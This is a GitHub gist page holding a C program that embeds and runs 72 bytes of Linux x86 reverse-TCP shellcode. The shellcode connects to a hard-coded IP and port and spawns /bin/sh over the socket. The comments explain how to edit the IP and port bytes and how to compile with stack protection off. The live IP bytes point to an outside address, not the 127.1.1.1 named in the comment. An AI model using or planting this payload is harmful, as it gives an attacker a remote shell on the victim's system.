Skip to content

Instantly share code, notes, and snippets.

@hellok
Created March 19, 2014 02:13
Show Gist options
  • Save hellok/9634289 to your computer and use it in GitHub Desktop.
Save hellok/9634289 to your computer and use it in GitHub Desktop.
/*
shell_reverse_tcp_shellcode
* 72 bytes
* null-bytes free if the port and address are
* the ip address and port number are easily changeable (2nd to 5th bytes are the IP) and (9th and 10th are the Port)
# gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode
Testing
# nc -l 127.1.1.1 55555
# ./shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x68"
"\xa6\x6f\x84\x9b"//"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
"\xd9\x03" // <- Port Number "55555"
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce";
main ()
{
// When the IP contains null-bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(code));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp");
int (*ret)() = (int(*)())code;
ret();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment